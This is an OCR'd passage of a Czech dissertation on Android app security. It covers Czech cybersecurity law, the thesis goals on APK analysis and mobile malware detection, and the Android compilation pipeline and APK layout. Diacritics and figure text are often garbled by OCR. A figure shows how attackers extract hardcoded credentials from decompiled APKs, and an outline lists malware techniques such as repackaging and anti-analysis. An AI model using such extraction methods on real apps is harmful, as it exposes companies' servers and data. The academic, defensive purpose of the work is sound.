k bezpecnostni problematice. Jsou zaméfeny na bezpecnost informaci a systémti.
Zaroven predpokladaji pouze existenci statickych osobnich pocitact a servert.
Nicméné existuje celd fada oblasti, které jsou spolecné jak pro platformu osobnich
pocitacl, tak pro mobilni zafizeni. Z tohoto divodu je dulezité¢, aby mobilni
aplikace vyvijené v Ceské republice byly v souladu s ¢astmi legislativy, které jsou
aplikovatelné 1 na mobilni platformu. Legislativa obsahuje tfadu cennych
bezpecnostnich principd, které jsou proveéifené bezpecnostni praxi. A 1 kdyZ se
nevztahuji ptimo na mobilni zatizeni, 1ze je s uspéchem pievzit. Zakony, které se
vztahuji k bezpecnostni problematice, jsou:
e zikon €. 181/2014 Sb., o kybernetické bezpecnosti a 0 zméné souvisejicich
zakont [92],

e nafizeni vlady ¢. 315/2014 Sb., kterym se méni nafizeni vlady
¢. 432/2010 Sb., o kritériich pro ur€eni prvki kriticke infrastruktury [93],

e vyhlaska ¢. 316/2014 Sb., o bezpecnostnich opattenich, kybernetickych
bezpec¢nostnich incidentech, reaktivnich opatfenich a o stanoveni
nalezitosti podani v oblasti kybernetické bezpecnosti (vyhlaSka
o kybernetické bezpecnosti) [94],

e vyhlaska ¢. 317/2014 Sb., o vyznamnych informacnich systémech a jejich
urcujicich kritériich [95].

Zékon ¢. 181/2014 Sb. [92] nepocita ani s existenci chytrych mobilnich
telefonll a tableti ani s jejich Gtoénym potencidlem, ktery je dan mirou jejich
rozsiteni v Ceské republice. Vysledky publikované v [62] naznaduji, Ze
infikovana mobilni zafizeni mohou ptedstavovat vyznamnou uto¢nou silu.
Existuje riziko, Ze by tato sila mohla byt zneuzita proti cilim na izemi naseho
statu. Specifické rysy mobilnich vypocetnich prostfedkl, ale nejsou legislativné
podchyceny. Naptiklad, pokud by byl dostatecny pocet mobilnich zatizeni
infikovan a zatfazen do botnetu, 1ze jeho pomoci provadét DDoS na prvky kriticke
infrastruktury, pficemz by bylo mnohem t€éZ8i realizovat ochranna opatieni, nez
je tomu u utokt smétujici z PC platformy. Osobni po€itace jsou umistény vétSinou
staticky, coZ znamend, Ze jejich IP adresa je ve spolupraci s konkrétnim ISP
(Internet Service Provider, poskytovatel internetového pfipojeni, ktery vlastni
danou adresu) snadno dohledatelna. Na rozdil od osobnich pocitacii jsou mobilni
zatizeni pravidelné pfenaSena (typicky méni svoji polohu tfikrat i vicekrat za den),
¢imz dochazi k castému prepinani mezi celularnimi sit¢émi a Wi-Fi sitémi. Pti
kazdé zméné sit¢ je chytrym mobilnim telefoniim a tabletim ptid€lena jina IP
adresa. Jedno mobilni zatizeni pak vystupuje jako nékolik zatizeni. Dale musi byt
brano v uvahu, Ze mobilni operatoii nemaji k dispozici dostatek vetejnych IP
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adres pro vSechna mobilni zafizeni, takze dochazi k NAT prekladu jedné verejné
IP adresy na n privatnich adres. Pod danou vefejnou adresou miize vystupovat
tedy infikované zafizeni 1 chytry telefon, ktery nema s Gtokem nic spolec¢ného.
Popsané chovani velmi ztéZuje analyzu bezpecCnostnich incidentli a muze
negativné ovlivnit i reaktivni a ochranna opatteni, tak jak jsou definovana v
zékoné ¢. 181/2014 Sb. [92]. Na druhou stranu je v zdkoné ¢. 181/2014 Sb. [92]
popsana cela fada uZite¢nych pojml a mechanizmi, které mohou byt Gspéiné
pouzity pii vyvoji mobilnich aplikaci. Naptiklad: § 2 pismeno b) bezpecnost
informaci, § 5 odstavec (1) bezpecnostni opatifeni, odstavec (2) organizacni
opatfeni zejména pismena a) systém fizeni bezpe€nosti informaci, b) fizeni rizik,
c) bezpecni politika, €) stanoveni bezpecnostnich pozadavki pro dodavatele, f)
fizeni aktiv) a odstavec (3) technicka opatfeni zejména pismena c) nastroj pro
ovéfovani identity uZivatelii, d) nastroj pro fizeni ptistupovych opravnéni, e)
nastroj pro ochranu pted Skodlivym kodem, i) aplikaéni bezpecnost, j)
kryptograficke prosttedky). Dale pak § 11 opatteni, § 12 varovani a § 13 reaktivni
a ochranna opatteni.

Natizeni vlady €. 315/2014 Sb. [93] popisuje odvétvova kritéria, kterd slouzi
pro urceni prvkil kritické infrastruktury. Kritickd infrastruktura zahrnuje oblasti:
I. energetiku, II. vodni hospodaftstvi, III. potravinafstvi a zemédélstvi, IV.
zdravotnictvi, V. dopravu, VI. komunikacni a informacni systémy, VII. finan¢ni
trhy a ménu, VIII. nouzové sluzby a IX. vefejnou spravu. Z vyse uveden¢ho vyctu
je jasné, Ze se k tématu dizertacni prace vztahuje pouze oblast VI. komunika¢ni
a informacni systémy. Aplikuje se pouze na 1) technologické prvky pevné sité
elektronickych komunikaci a 11) technologické prvky mobilni sité elektronickych
komunikaci, jako jsou fidici ustfedny, datova centra a dal$i. To znamena, Ze se
nafizeni vlady nevztahuje na koncové uzly, jako jsou chytré telefony, tablety
anositelny hardware. Z vySe uvedeného divodu nelze natizeni vlady
¢. 315/2014 Sb. [93] pouzit pro vytvateni bezpe¢nych mobilnich aplikaci.

Naproti tomu vyhlaSka ¢. 316/2014 Sb., o bezpecnostnich opatienich,
kybernetickych bezpecnostnich incidentech, reaktivnich opatienich a o stanoveni
nalezitosti podani v oblasti kybernetické bezpecnosti [94], je velmi cenny zdroj
informaci. Vyhlaska se nevztahuje pfimo na mobilni platformu, ale je zde fada
pojmtl, definic 1 postupil, které¢ mohou byt pouZity, zejména pak v § 2 pismena b)
aktivum, c¢) primarni aktivum, d) podptrné aktivum, f) riziko, g) hodnoceni rizik,
h) tizeni rizik, 1) hrozba, j) zranitelnost a k) pfijatelné riziko. § 3 Systém fizeni
bezpecnosti informaci, § 4 fizeni rizik, naptiklad odstavec (4) pismena a) poruseni
bezpecnostni politiky, provedeni neopravnénych Cinnosti, zneuZiti opravnéni
ze strany uzivatelll a administratort, ¢) zneuZiti identity fyzické osoby, f) Skodlivy
kod (naptiklad viry, spyware, trojské koné), j) zneuZiti nebo neopravnéna
modifikace tdaji a 1) odcizeni nebo poSkozeni aktiva). § 5 bezpecnostni politika
(naptiklad odstavec (1) pismena d) klasifikace aktiv, g) tizeni ptistupu). § 7
stanoveni bezpec¢nostnich poZadavkl pro dodavatele, § 8 fizeni aktiv, §11 fizeni
pfistupu a bezpecné chovani uzivatelll. Velmi uZite¢ny je § 18 ndstroj pro
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ovéfovani identity uzivateli. Napiiklad odstavec (3) pismena a) aZ c) by mél byt
povinngé implementovan ve vSech mobilnich aplikacich, které pracuji s PII, SPI
daty, nebo pouZivaji ptihlaSovani ¢i sluzby vzdalenych server.

Nastroj pro ovefovani identity uzivateld, ktery pouzivd autentizaci pouze
heslem, zajist'uje:

a) minimalni délku hesla osm znakai,

b) minimalni sloZitost hesla tak, Ze heslo bude obsahovat alesponi

3 z nasledujicich ¢tyt pozadavk:
e nejmeéné jedno velké pismeno,
e nejméné jedno malé pismeno,
e nejmeéné jednu Cislici, nebo
e nejmeéné jeden specialni znak odliSny od pozadavki uvedenych
v bodech 1 az 3,

¢) maximalni dobu pro povinnou vyménu hesla neptfesahujici sto dnii; tento

poZadavek neni vyZzadovan pro samostatné identifikatory aplikaci.

Uzite¢ny je také § 20 nastroj pro ochranu pied Skodlivym koédem, pismeno
a) komunikace mezi vnitini siti a vnéjsi siti, b) serveri a sdilenych datovych
ulozist’ a c¢) pracovnich stanic, § 24 aplikaéni bezpe€nost, § 25 kryptografické
prostfedky, § 30 typy kybernetickych bezpecnostnich incidentti a § 31 kategorie
kybernetickych bezpecnostnich incidenti.

Velmi prospésné jsou i prilohy k vyhlaSce €. 316/2014 Sb. [94] popisyjici celou
fadu praktickych bezpecCnostnich postupli a zasad. A to zejména pftiloha
¢. 1 vyhlaSky ¢. 316/2014 Sb. [94], ktera se zabyva hodnocenim a Urovnémi
dalezitosti aktiv, stupnici pro hodnoceni divérnosti, stupnici pro hodnoceni
integrity a stupnici pro hodnoceni dostupnosti. RovnéZz ptiloha €. 2 vyhlasky
¢.316/2014 Sb. [94] je pifinosna, nebot’ se zabyvd hodnocenim rizik. Zcela
zésadni je pak ptiloha ¢. 3 k vyhlaSce ¢. 316/2014 Sb. [94], kterd popisuje
minimalni pozadavky na kryptografick¢ algoritmy. Mimo jiné stanovuje
1 bezpecné typy Sifrovacich algoritmili, minimalni bezpecné délky klich pro
jednotlivé typy Sifrovacich algoritmi, zasady pouZzivani inicializa¢nich vektort,
pouzivani modt a mnoho dalSiho.

Vyhlaska €. 317/2014 Sb., o vyznamnych informacénich systémech a jejich
urcujicich kritériich a jeji ptiloha (ptiloha €. 1 k vyhlasce €. 317/2014 Sb.) [95] se
tykd pouze vyznamnych informacnich systémi a jejich urcujicich kritérii.
Neobsahuji informace a principy, které by byly pouZitelné pro bezpecny vyvoj ¢i
testovani mobilnich aplikaci.

Technické normy rodiny ISMS

Ceské normy rodiny ISMS (Information Security Management System)
vychdzejici z mezinarodnich ISO/IEC norem, které se zabyvaji systémem fizeni
bezpecnosti informaci. Mezi normami rodiny ISMS a ¢eskou legislativou existuje
Sasteény prinik. Napiiklad norma CSN ISO/IEC 27000 [96], ktera je eskou verzi
mezindrodni normy ISO/IEC 27000:2012 [97], také definuje aktiva, fizeni rizika
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a nékteré dalsi klicové pojmy. Normy rodiny ISMS nejsou pfimo urCeny pro
mobilni platformu a ani nezohlediuji jeji bezpecnostni specifika, nicméné
definuje uziteCny aparat potiebny pro bezpecnost informaci. Technické normy
rodiny ISMS se déli na:

e normy obsahujici pfehled a terminologii: CSN ISO/IEC 27000 [96],

e normy specifikujici pozadavky: CSN ISO/IEC 27001 [98] a CSN ISO/IEC
27006 [99],

e normy popisujici vieobecné smérnice: CSN ISO/IEC 27002 [100], CSN
ISO/IEC 27003 [101], CSN ISO/IEC 27004 [102], CSN ISO/IEC 27005
[103] a CSN ISO/IEC 27007 [104],

e normy popisujici smémice specifické pro sektory: CSN ISO/IEC 27011
[105] (pro informadni a telekomunikaéni organizace) a CSN ISO/IEC
27799 [106] (pro zdravotnictvi je to protivaha HIPAA Secure, kterd je
platna pro USA).

Na normy se vztahuje ustanoveni: rozmnoZovani a rozSifovani technickych
norem nebo jejich &asti bez souhlasu Utadu pro technickou normalizaci,
metrologii a statni zkuSebnictvi je porusenim zdkona ¢. 22/1997 Sb. [107].
Uvedené ustanoveni ma za nasledek, Ze ¢eské normy rodiny ISMS nejsou mezi
mobilnimi vyvojafi ani ptili§ zndmé, ani pfili§ rozSifené. Coz je Skoda, nebot’
obsahuji fadu uzitenych informaci, které by mohly vyrazné ptispét k vyvoji

Z oddilu 2.4 vyplyva, Ze soucasna situace na poli bezpecnostnich standardi
a legislativy neni upokojiva, nebot” svétové standardy jsou Uzce zaméfené
jednotlivé oblasti vyvoje bezpecnych mobilnich aplikaci a jsou vzajemné
nekompatibilni. Navic vétSina z nich m4 pouze formu doporuceni a nejsou proto
povinné. V CR je situace jesté horsi, nebot’ zcela chybi bezpecnostni standardy,
které by respektovaly specifika ceské legislativy. Navzdory tomu, Ze jsou mobilni
zaiizeni v CR znaéné rozsifené, Geska legislativa jako celek zatim nereflektovala
bezpecnostni hrozby, které jsou specifické pro mobilni platformy. Jedna se nejen
o hrozby, které ohrozuji samotné uzivatele, jejich data a mobilni zatfizeni, ale i
hrozby, které mohou napéchat jejich infikovana mobilni zatizeni. Napftiklad pro
utoky na prvky kriticke infrastruktury, webove portaly a sluzby vetejné spravy i
na informacni systémy soukromych spolecnosti. Vaznost situace a velikost
vypocetni sily, ktera miize byt zneuZitelna v CR, nejlépe ukazuje graf C9
Jednotlivei pouzivajici internet na mobilu, ktery je zachycen na obrazku 2.9. Graf
C9 pochazi z dokumentu Ceského statistického Gfadu, ,,Informaéni spole¢nost v
Cislech — 2018, ¢ast C Jednotlivci [108]. Statistiky se tykaji soukromych osob ve
véku Sestnact a vice let, které Ziji na tizemi Ceské republiky. V roce 2017 do této
skupiny spadalo 8,8 milionu jednotlivcd. Z obrazku 2.9 je vidét, Ze potencidlni
itoéna sila mobilnich zafizeni se v CR rok od roku zvysuje, nebot poéty
jednotlivell pouzivajicich internet na mobilu se kazdym rokem rovnéz zvysuji.
Dalsi dualezitou skutecnosti je, ze v roce 2017 polovina vSech soukromych osob
ve vEku Sestnact a vice let pouziva mobilni zatfizeni pfipojena k siti internet. Do
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statistiky nebyla zahrnuta vétSina tabletll, protoZze ty nepouZzivaji technologie
celularnich siti jako jsou GPRS, EDGE, 3G ¢1 LTE, ale ptipojuji se pouze pomoci
Wi-Fi siti. Nicméngé i na tyto tablety se vztahuji vySe uvedené hrozby. Legislativa
rovndZ nefedi situaci, kdy by se natizemi CR nachazelo velké mnoZstvi
infikovanych mobilnich telefontl, které by Gtoky provadély pomoci celularni sité
(tuto telekomunikacni sit' neni mozné vypnout jako celek, nebot’ by byla
pferuSena veSkera mobilni komunikace). VySe uvedené skutecnosti naznacuji
nutnost zabyvat se problémem po legislativni 1 po strance vzniku standardi,
uzpusobenych specifickym potiebam Ceské republiky.

Graf C9 Jednotlivci pouzivajici internet na mobilu
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Obr. 2.9: Graf C9 Jednotlivci pouzivajici internet na mobilu [108]
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3. CILE DISERTACNI PRACE

Dizertacni prace na zaklad¢ vlastniho vyzkumu mapuje nejen typické
bezpec¢nostni chyby soucasnych mobilnich aplikaci, ale popisuje 1 utocné
mechanismy moderniho mobilniho malwaru, ktery tyto chyby vyuziva ve svijj
prospéch. Skodlivy software se nezaméfuje jen na chyby v uZivatelskych
aplikacich, ale také zneuziva chyby v opera¢nich systémech a lidské chyby, proto
dizerta¢ni prace pojednava i o té€chto aspektech mobilniho malwaru. V neposledni
fadé€ se prace snazi prispét ke zlepSeni bezpecnostni situace na mobilni platformé
tim, Ze ptinasi proaktivni opatteni, kterym je detekce mobilniho malwaru pomoci
metod uméle inteligence. Dizertacni prace si klade nasleduyjici tfi cile.

3.1 Popis zavaznych bezpecnostnich chyb sou¢asnych mobilnich
aplikaci

Jednim z hlavnich cilii dizertacni prace je bezpecnostni analyza soucasnych
mobilnich aplikaci. Prace popisuje mechanizmy, pomoci kterych ito¢nici a tvilirci
mobilniho malware ziskavaji APK bali¢ky legitimnich aplikaci, provadéji jejich
analyzu a zneuzivaji nalezen¢ bezpecCnostni chyby. Tento cil je zpracovan
v nasleduyjici strukture.

e Rozdil mezi Gto€niky a tviirci mobilniho malwaru,
e APK balicky:
o Ziskavani APK balic¢kua,
Vytvareni a kompilacni procesy APK balick,
Struktura APK balicku,
Dekompilace APK balick,
= Typ 1: dex2jar, JD-GUI,
= Typ 2: APKTool,
Vyuziti informaci ziskanych z dekompilovanych balicki,
Ruéni dynamické analyza,
Rucni staticka analyza,
o Automatizovan¢ metody vySetfovani,
e Zranitelnosti ve vySetfovanych mobilnich aplikacich:
o Utoky zaloZené na analyze dat z APK balicki,
o APK repackage,
o Utoky na lokalni zabezpe&eni mobilnich aplikaci,
o Utoky na sitové zabezpe&eni mobilnich aplikaci.

o O O

O O O

3.2 Popis uto¢nych mechanismii mobilniho malwaru

Tato Cast dizertacni prace je zaméfena na dvé hlavni oblasti: analyza mobilniho
malwaru a charakteristiky mobilniho malwaru. Prvni z nich popisuje proces
ziskavani vzorkli mobilniho malwaru a metody jejich analyzy. Rovnéz jsou
pfedstaveny techniky restaurovani kodi malwaru. V druhé ¢&asti jsou
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prezentovany charakteristiky mobilniho malwaru, které byly zjiStény na zaklad¢
vyzkumu, napfiiklad:

Malware obsahujici legitimizujici ¢ast aplikace (trojsti kon¢),
Princip infekce legitimnich aplikaci (APK repackage)
Malware typu Hidden APK,

Malware typu Hidden APK s uZivatelskou interakci,

Vyzkum a tvorba experimentéalnich mobilnich botneti,
Anti-Analysis techniky,

Zneuzivani komponenty WebView,

Malware jako spoustéc chranénych ¢asti komercnich aplikaci.

3.3 NavrZeni mechanismu detekce mobilniho malwaru pomoci

umélé inteligence, predevSim neuronovych siti

Charakteristiky mobilniho malwaru jsou déle rozsiteny a vyuzity pro navrzeni
mechanismu detekce mobilniho malwaru pomoci umélé inteligence a strojového
uceni, piedev§im umélych neuronovych siti, které do této oblasti spadaji. Soucasti
prace je 1 vytvofeni vhodnych trénovacich a testovacich sad pro uceni umélych
neuronovych siti, navrzeni vhodného paradigmatu neuronove sité, jeji nauceni
na pripravenych datech a rozsdhlé testovani finalniho klasifika¢niho modelu.
Finalni model je dale srovnan s dalSimi technikami, jako jsou napf. metoda
podptirnych vektort (Support Vector Machines), metoda k-nejblizSich sousedil
(k-nn) ¢i naivni bayesovsky klasifikator.

Princip detekce mobilniho malwaru pomoci neuronovych siti,
Algebra opravnéni,
Automatizovana analyza podezielych vzork mobilnich aplikaci:
o Moduly statické analyzy,
o Moduly dynamické analyzy.
Vyzkum v oblasti detekce mobilniho malwaru pomoci neuronovych siti:
o Datova analyza a tvorba vstupnich vektorli pro neuronové sitg,
o Konstrukce neuronové site,
o Testovani findlniho klasifikacniho modelu.
o Srovnani s dalSimi metodami umél¢ inteligence.
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4. BEZPECNOST MOBILNICH APLIKACI

V kapitole 4 jsou popsany chyby, které se objevily ve skute¢nych mobilnich
aplikacich. Aby nedochéazelo k poruSovani autorskych prav, byl pouZzit pouze
princip dan€ zranitelnosti, ktery byl zakomponovan do pfislusné demonstracni
aplikace. Tyto aplikace byly vytvofeny pod hlavickou PTLabu (Penetration
Testing Laboratory, https://ptlab.fai.utb.cz), ve které autor prace pilsobi.
Bezpecnost mobilnich aplikaci ohroZuji Gito¢nici a tviirci mobilniho malwaru. Obé
skupiny pachatelll se snazi najit bezpecnostni chyby v legitimnich aplikacich, ale
1181 se ve zplsobu, jakymi nalezen€ chyby zneuzivaji.

4.1 Rozdil mezi atocniky a tviirci mobilniho malwaru

Utoénici se snazi v mobilnich aplikacich hledat takové chyby v zabezpeéeni,
které jim umozni jejich ptimé zneuziti. MlZe se jednat naptiklad o odcizeni
nezabezpecenych komer¢nich dat, které¢ se nachazeji v privatnim datovem
prostoru mobilni aplikace (/data/data/NameOfApp), nebo vyuZivani funkcionality
napadené aplikace, aniZ by za ni zaplatili. Mezi dalsi ¢asté zplisoby zneuzivani
patiti hledani informaci, kter¢ by mohli uto¢nikim poslouzit k napadeni
vzdalenych serverd, jejichZ sluzby vyuzivaji analyzované mobilni aplikace, viz
obrazek 4.1.

Server

APK balicek Zdrojovy kod —

Aplikagni logik Extrakce String login = “mobileAppService10” .
plikacntlogika String pass = “.4d$9*Dt,skL3P9+HgP!19*; Utok
Extrakce String iPAddress = “nnn.nnn.nnn.nnn";
Data String portTCP = “nnnn“;

Data

Multimedidlni obsah
Mapové podklady

Obr. 4.1: Typické zpuisoby zneuzivani APK balicki, které pouzivaji utocnici [zdroj
viastni]

Tvirci utoéného malwaru provadéji analytickou ¢ast ttoku velmi podobné,
Casto dokonce pouZzivaji stejné nastroje a metody. Nicméné zplsob, jakym
zneuZzivaji nalezené bezpecnostni chyby, je zcela odlisny:

e na zdkladé nalezenych chyb vytvofi Uto¢ny malware, ktery zneuziva

nezabezpecené funkcionality legitimni aplikace, napiiklad distribuce
spamu pres verejné dostupné rozhrani e-mailového klienta,

51



e odstrani ochranu z placené aplikace a pak provedou jeji infekei, pti které
do napadené mobilni aplikace vlozi Skodlivou ¢ast kddu.

4.2 APK balitky

APK balic¢ek ptestavuje instalator mobilni aplikace. Mobilni aplikace béZici
pod operacnim systémem Android se pisi v jazyce Java. Proces, kterym jsou
ze zdrojovych kodu vytvareny APK balicky, se nazyva kompilace. Navzdory
skutecnosti, Ze je jazyk Java multiplatformni, je proces kompilace Java programi
pro mobilni zafizeni a osobni pocitace velmi odlisny. Tato skutecnost zplisobuje
problémy bezpecnostnim odbornikiim, kteti pracovali s Javou na platformé
osobnich pocitaci a mlcky pfedpokladaji, ze je kompilani proces stejny
1 umobilnich zatizeni. V obou ptipadech jsou na zacatku kompilace soubory
obsahujici zdrojoveé kody napsané v jazyce Java. Kompilatorem jazyka Java (Java
compiler) jsou zdrojové soubory pievedeny do bajtkédu (Java bytecode)
a uloZeny do souborti s ptiponou souborti class. Uvedené soubory 1ze na osobnich
pocitacCich pfimo spoustét v prostiedi Java Virtual Machine (JVM), zatimco
na mobilni platformé je potieba provést - kromé zakladni kompilace pomoci Java
kompilatoru - jest€¢ dalS§i kompilaci, respektive kompilace (zaleZzi na verzi
mobilniho opera¢niho systému). Rychlost a dynamika vyvoje mobilnich
operacnich systéml (napiiklad operacni systém Android vychéazi primérné
kazdych osm mésicll) ma za nasledek velké zmény 1 v navazujicich kompila¢nich
procesech, ptitom jejich spravné pochopeni je nutnym vstupnim piedpokladem
pro oblast bezpecnosti mobilnich aplikaci i pro problematiku mobilniho malwaru.
Bez znalosti kompilace neni mozné chéapat problematiku bezpecnosti mobilnich
aplikaci v SirSich souvislostech. V soucasné dobé nejsou ani v primarni
dokumentaci k opera¢nimu systému Android, ani v odborné literatute, ucelené
a prehledné zpracovany jednotlivé vyvojové faze kompilacnich procesti. Misto
toho jsou uvedené postupy rozdrobeny do fady na sebe nenavazujicich
dokumenttl. Z tohoto divodu dizertaéni prace systematicky zpracovava uvedenou
oblast, pficemz zvlaStni pozornost je vénovana schématickym zndzornénim,
na kterych nejlépe vyniknou vyvojoveé rozdily.

4.2.1 Vytvareni a kompila¢ni procesy APK balic¢ki

Vstupem do kompilaéniho procesu jsou *.java soubory obsahujici zdrojové
kody napsané v jazyce Java nebo nové * .kt soubory jazyka Kotlin. Kotlin je jazyk
vyvijeny spolecnosti JetBrains, ktery ma plnou kompatibilitu s jazykem Java.
Kotlin je podporovan vSemi hlavnimi vyvojovymi prostitedimi ur€enymi pro
jazyk Java, jako jsou naptiklad Intellij IDEA, Android Studio a NetBeans
a Eclipse [109]. Soubory *.java jsou kompilatorem jazyka Java (Java compiler)
pfevedeny do bajtkddu (Java bytecode), rovnéz 1 soubory *.kt kompilator jazyka
Kotlin (Kotlin compiler) pievadi do bajtkdodu. V obou ptipadech jsou vysledkem
kompilace soubory *.class.
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Na osobnich pocitacich, kde bézi takzvana ,,Velka Java“, je v tuto chvili mozZné
* class soubor jiZ spustit. Jinak bajtkod, tedy *.class soubory, béZi v Java Virtual
Machine (JVM). Situace je =zachycena na obrazku 4.2. Piikazem
C:\demo\jdk1.8.0 101\bin\javac.exe JavaDemo.java byl vytvofen soubor
JavaDemo.class,  ktery byl nasledn¢  spuStén  pomoci  ptikazu
C:\demo\jdk1.8.0 101\bin\java.exe JavaDemo. Spustény program vypsal zpravu,
Ze se jedna o demonstracni Java program.

C:\WINDOWS\system32\cmd.exe

C:\demo>dir
Volume in drive C is Windows
Volume Serial Number is 701B-160E

Directory of C:\demo

07.04.2018
07.04.2018 -
07.04.2018 1 @5 JavaDemo.java
07.04.2018 17:3 {DIR> jdk1.8.0_101
i 205 bytes
504 bytes free

C:\demo>C:\demo\jdk1.8.0_101\bin\javac.exe JavaDemo

C:\demo>dir
Volume in drive C is Windows
Volume Serial Number is 701B-168E

Directory of C:\demo
J

.04.2018 8:08 <DIR>
.04.2018 1 <DIR> -
.04.2018 08 JavaDemo.class
.04.2018 JavaDemo. java
.04.2018 <DIR> jdk1.8.0_101
(s) 705 bytes
6 730 773 504 bytes free

C:\demo>C:\demo\jdk1.8.0_101\bin\java.exe JavaDemo
This is demo of desktop JAVA

Faculty of Applied Informatics
Tomas Bata University in Zlin

C:\demo>_

Obr. 4.2: Proces komplikace a spusténi Java programu na osobnim pocitaci [zdroj
viastni]

Pro vétsi prehlednost je na obrazku 4.3 zndzornéno schéma kompilace
a spusténi Java programu na osobnim pocitaci a to véetné vSech ptipon souborti.
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Zdrojovy soubor | *.java

Java kompilator

Y

Java bajtkéd *.class

' Spusténi *.class souboru
v

B

éh ]' Java Virtual Machine

Obr. 4.3: Schéma kompilace a spusténi Java programu na osobnim pocitaci [zdroj

viastni]

Uvedeny postup neni mozné pouZit na mobilnich zatizenich. Na mobilni
platformé je potteba provést kromé vysSe uvedeného kroku jesté dalsi kompilaci.
Vstupem do navazujiciho kompilaéniho procesu jsou *.class soubory, které Dex
kompilator (Dex compiler, oznacovan také jako DX) ptevede na soubor *.dex.
Nazev dex pochazi ze slov Dalvik Executable a jednd se o soubor spustitelny
v Dalvik Virtual Machine. Pivodni kompilator DX byl v roce 2017 nahrazen
efektivnéjSim kompiladtorem D8, ktery je soucasti vyvojoveho prosttedi Android

Studio 3.0 a vysi [110].

Soubor *.dex je zabalen do APK balicku a je pfipraven pro béhové prostiedi

(tzv. run-time system). Az do
v Dalvik Virtual Machine, jak

roku 2010 bylo mozné *.dex soubor pfimo spustit
je vidét na obrazku 4.4.

Zdrojovy soubor | *.java

A 4

Java kompilator

Java bajtkadd *.class

Dex kompilator

Dalvik Executable | *.dex

A 4

Spusténi *.dex souboru

Bé

h ]» Dalvik Virtual Machine

Obr. 4.4: Schéma kompilace a

spusteni Java programu na mobilnich zarizenich do
roku 2010 [zdroj viastni]

V roce 2010 technicky vedouci Dalvik tymu Dan Bornstein oznamil ptidani
JIT (Just In Time) kompilatoru do Dalvik Virtual Machine. Pokazd¢, kdyzZ je
aplikace spusténa, JIT kompilator provede analyzu kodu z aplikace (kod z *.dex
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souboru) a ¢ast se dynamicky prelozi do optimalizované podoby. Takto upravena
cast pak bézi rychleji [111]. Jak béh aplikace pokracuje, jsou optimalizované Casti
ukladany do cache, a dalsi ¢asti kodu z *.dex souboru jsou postupné piekladany a
optimalizovany. Celkové schéma vSech tii kompilaci (Java kompilator, Dex
kompilator a JIT kompilator) je ukdzano na obrazku 4.5.

Zdrojovy soubor | *.java

Java kompilator

v

Java bajtkéd *.class

Dex kompilator

Dalvik Executable | *.dex

' Spusténi *.dex souboru
A 4

JIT

Dalvik Virtual Machine

Béh

Obr. 4.5: Schéma kompilace a spusténi Java programu na mobilnich zarizenich v
letech 2010 az 2014 [zdroj viastni]

V roce 2014 bylo béhové prostiedi Dalvik Virtual Machine nahrazeno ART
(Android Run-Time) a JIT kompilace byla nahrazena kompilaci typu AOT
(Ahead-Of-Time, doptfednd kompilace). Béhem instalatniho procesu ART
pouzije na mobilnim zafizeni nastroj dex2oat, ktery jako svilij vstup akceptuje
*.dex soubor a vygeneruje spustitelny soubor, ktery je optimalizovany ptimo pro
konkrétni mobilni zafizeni. Na rozdil od JIT kompilace se AOT kompilace
provadi pouze jednou [112]. ART je vychozi béhové prostredi (default run-time
system) pro vSechna zafizeni s opera¢nim systémem Android 5.0 (API level 21)
a vyS§i [113]. Na obrazku 4.6 je zachycena kompilace, instalace a proces
spousténi programil napsanych v jazyce Java (nebo v jazyce Kotlin).

Dalsi zmény vyznamné zmény v procesu kompilace zavedla spolecnost Google
LLC vroce 2016. Behové prostiedi ART, které¢ do té doby pouzivalo AOT
kompilaci, zacalo pouzivat takzvany hybridni pfistup, coz je kombinace JIT, AOT
a kompilace zaloZzend na profilech (profile-guided compilation). Hybridni
kompilace je tykala vSech zatizeni s operacnim systémem Android 7.0 (API level
24) [114].

Posledni Uprava béhového prostiedi ART byla provedena vroce 2017.
VylepSeni se tykaji vSech zatfizeni, na kterych bézi Android 8.0 (API level 26).
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ART dostal optimalizaci kompilatoru v podobé nastroje CHA (Class Hierarchy
Analysis), ktera je zaloZena na analyze hierarchie tfid [115].

Zdrojovy soubor | *.java

Java kompilator

A 4

Java bajtkod *.class

Dex kompilator

A 4

Dalvik Executable | *.dex

|
A4

Instalace * dex

*.oat > ART

dex2oat

A 4
Compiled app
execqtable

| Spusténi
v

Béh

_
Obr. 4.6: Schéma kompilace a spusténi Java programu na mobilnich zarizenich od
roku 2014 do soucasnosti [zdroj viastni]

Spole€nost Google LLC rovnéz pracovala na kompilatoru, ktery mél v jediném
kroku ptevést *.java zdrojove soubory do souboru *.dex. Kompilator se jmenoval
Jack a diivodem vzniku byly rozsahlé zmény v Javé 8 oproti starsi verzi, ktere
vyZadovaly velké mnoZstvi Uprav Dex kompilatoru. Project Jack je nyni zastaven
[116]. Stale se tedy pouziva kompilace tak, jak je zobrazena na obrazku 4.6.

4.2.2 Struktura APK balickua

Dal$im nutnym vstupnim ptfedpokladem umoziujicim vhled do problematiky
bezpe¢nosti mobilnich aplikaci je pochopeni struktury APK balicki.
Ve skutecnosti neni piipona *.apk zadny specialni format, jedna se o zip archiv.
Lze ho rozbalit pomoci standardnich nastroji, jakym je naptiklad unzip:

unzip BestCloud2-PTLab.apk -d UnzippedAPK

Typicky obsah APK balicku jsou adresate res, META-INF a soubory
AndroidManifest.xml, classes.dex, resources.arsc, viz obrazek 4.7. V zavislosti
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na vnitini struktufe mobilni aplikace muze kotfenovy adresar obsahovat dalsi
slozky a soubory, naptiklad adresar lib ¢i assets [22].

milan@ubuntu:~/lab/testing/UnzippedAPKS 11

total 2828

drwxrwxr-x milan milan 4096 Apr 19 20:54 ./
drwxrwxr-x milan milan 4096 Apr 19 20:54 ../

-TW-TW-TW- milan milan 2108 Dec 31 1979 AndroidManifest.xml
-TW-TW-T-- milan milan 2646788 Dec 31 1979 classes.dex
drwxrwxr-x milan milan 4096 Apr 19 20:54 META-INF/
drwxrwxr-x milan milan 4096 Apr 19 20:54 res/

-TW-TW- milan milan 221216 Dec 31 1979 resources.arsc

Obr. 4.7: Obsah rozbaleného APK balicku [zdroj viastni]

Adresat res obsahuje vSechny zdroje, které aplikace potiebuje ke svému
fungovani a které nejsou predkompilované v souboru resources.arsc. Obvykle se
jedna o obrazky a ikony ve formatu PNG (Portable Network Graphics), XML
(Extensible Markup Language) layouty popisujici GUI (Graphical User Interface)
atd. V adresaii META-INF se nachazeji soubory CERT.RSA, CERT.SF
a MANIFEST.MF, které souvisi s podepisovanim aplikace.

Soubor MANIFEST.MF?, ktery se nachazi v adresati META-INF rozbaleného
zip archivu, je lidsky Citelny a obsahuje hashe zdrojii (Resources), které aplikace
potfebuje ke svému fungovani. Obsah souboru MANIFEST.MF je zachycen
na obrazku 4.8.

Manifest-Version: 1.0
